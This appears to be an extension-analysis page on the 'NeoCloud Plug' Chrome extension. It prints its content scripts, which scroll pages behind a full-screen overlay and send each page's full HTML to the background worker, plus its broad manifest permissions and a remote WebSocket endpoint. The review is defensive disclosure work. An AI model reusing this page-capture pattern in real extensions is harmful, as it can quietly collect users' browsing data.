document.body.style.overflow = 'hidden'let neoCloudPlugWell = document.createElement('div');neoCloudPlugWell.style.position = 'fixed';neoCloudPlugWell.style.top = '0px';neoCloudPlugWell.style.left = '0px';neoCloudPlugWell.style.height = '100%';neoCloudPlugWell.style.width = '100%';neoCloudPlugWell.style.zIndex = '100000000000';neoCloudPlugWell.id = 'neo-cloud-plug-well';document.body.appendChild(neoCloudPlugWell);let i = 0;const scroller = setInterval(() => {    scroll(0, window.innerHeight * i)    i++;    if ((document.documentElement.scrollTop + window.innerHeight) - document.documentElement.scrollHeight > -1) {        chrome.runtime.sendMessage({            sender: "scroller",            response: document.documentElement.outerHTML,            status: 200        }, () => {});        clearInterval(scroller)    }}, 1000)

Amazon scraper returns full page HTML

getAmazonProduct.js
// (function() {//     let fetchRequestSent = false; // fetch가 한 번만 실행되도록 제어하는 플래그////     // 페이지 하단까지 스크롤하는 함수//     function scrollToBottom() {//         return new Promise((resolve) => {//             let totalHeight = 0;//             const distance = 2000; // 스크롤할 픽셀 단위//             const timer = setInterval(() => {//                 window.scrollBy(0, distance);//                 totalHeight += distance;////                 // 페이지의 전체 높이와 비교하여 끝까지 스크롤한 경우//                 if (totalHeight >= document.body.scrollHeight - window.innerHeight) {//                     clearInterval(timer); // 스크롤 완료 시 타이머 중지//                     resolve(); // 스크롤 완료 시 Promise 해결//                 }//             }, 50);//         });//     }////     // Fetch 요청 함수 (한 번만 호출됨)//     function fetchPriceData() {//         return new Promise((resolve, reject) => {//             if (fetchRequestSent) return resolve(); // fetch가 이미 실행된 경우 종료//             fetchRequestSent = true; // fetch가 실행된 상태로 설정////             // itemId를 안전하게 추출//             const itemElement = document.querySelector('#ASIN');//             if (!itemElement || !itemElement.value) {//                 console.error('ASIN을 찾을 수 없습니다.');//                 return resolve(); // itemId가 없으면 바로 resolve//             }////             const itemId = itemElement.value; // itemId 추출//             const priceUrl = `/gp/product/ajax/ref=dp_aod_ALL_mbc?asin=${itemId}&m=&qid=&smid=&sourcecustomerorglistid=&sourcecustomerorglistitemid=&sr=&pc=dp&experienceId=aodAjaxMain`;////             fetch(priceUrl)//                 .then(response => response.text())//                 .then(html => {//                     const wrapper = document.createElement('div');//                     wrapper.className = 'product-price-additional-source'; // 클래스명 지정//                     wrapper.innerHTML = html; // HTML 응답을 div 안에 넣음//                     document.body.appendChild(wrapper); // body에 추가//                     resolve(); // fetch 요청 완료//                 })//                 .catch(error => {//                     console.error('Fetch Error:', error);//                     resolve(); // 에러 발생 시에도 resolve하여 진행//                 });//         });//     }////     // 스크롤과 Fetch 요청을 동시에 처리//     Promise.allSettled([scrollToBottom(), fetchPriceData()])//         .then(() => {//             // 스크롤 및 Fetch가 모두 완료되면 메시지 전송//             chrome.runtime.sendMessage({//                 sender: "getAmazon",//                 response: document.documentElement.outerHTML,//                 status: 200//             }, () => {});//         }).catch(() => {//             chrome.runtime.sendMessage({//                 sender: "getAmazon",//                 response: document.documentElement.outerHTML,//                 status: 200//             }, () => {});//     });// })();chrome.runtime.sendMessage({    sender: "getAmazon",    response: document.documentElement.outerHTML,    status: 200}, () => {});

11st product scraper returns full page HTML

getElevenProductHtml.js
const loadProduct = () => {    return new Promise((resolve, reject) => {        const intervalId = setInterval(() => {            const isLoad = document.querySelector('h1[class="title"]');            if (isLoad) {                clearInterval(intervalId);                resolve();            }        }, 10);    });}loadProduct().then(() => {    chrome.runtime.sendMessage({        sender: "getHtml",        response: document.documentElement.outerHTML,        status: 200    }, () => {});}).catch(error => {    console.error("Error:", error);}).finally(() => {    chrome.runtime.sendMessage({        sender: "getHtml",        response: null,        status: 200    }, () => {});});

11st search scraper returns full page HTML

getElevenProductsHtml.js
const loadProducts = () => {    return new Promise((resolve, reject) => {        const intervalId = setInterval(() => {            const isLoad = document.querySelector('.c-search-list__item');            if (isLoad) {                clearInterval(intervalId);                resolve();            }        }, 10);    });}loadProducts().then(() => {    chrome.runtime.sendMessage({        sender: "getHtml",        response: document.documentElement.outerHTML,        status: 200    }, () => {});}).catch(error => {    console.error("Error:", error);}).finally(() => {    chrome.runtime.sendMessage({        sender: "getHtml",        response: null,        status: 200    }, () => {});});
What's stored on your device

The extension asks Chrome for permission to inject scripts across all websites.

Location
manifest.json permissions and host_permissions
Contents
{  "name": "NeoCloud Plug",  "icons": {    "72": "assets/img/logo.png"  },  "action": {    "default_icon": "assets/img/logo.png"  },  "version": "3.7",  "background": {    "type": "module",    "service_worker": "background.js"  },  "update_url": "https://clients2.google.com/service/update2/crx",  "description": "NeoCloud Extension",  "permissions": [    "scripting",    "storage",    "declarativeNetRequest"  ],  "host_permissions": [    "<all_urls>"  ],  "manifest_version": 3}
Remote endpoint used by the extension
    • gitea.neobay.co.kr

    Receives the WebSocket connection on port 3000 and receives response frames generated by messenger().

What it can do

Permissions this extension asks for, as declared in version 3.7. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Run its own code inside the pages you visit

    scripting

  • Store data in your browser

    storage

  • Block and redirect the requests your browser makes

    declarativeNetRequest

Where it sends data

Destinations our analysis observed NeoCloud Plug contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • gitea.neobay.co.kr

    NeoCloud Plug sends data to gitea.neobay.co.kr. No other extension we have analysed sends data here.

Updated 30 September 2026gdgmladmofpnlnbhobcljdhdobdijffb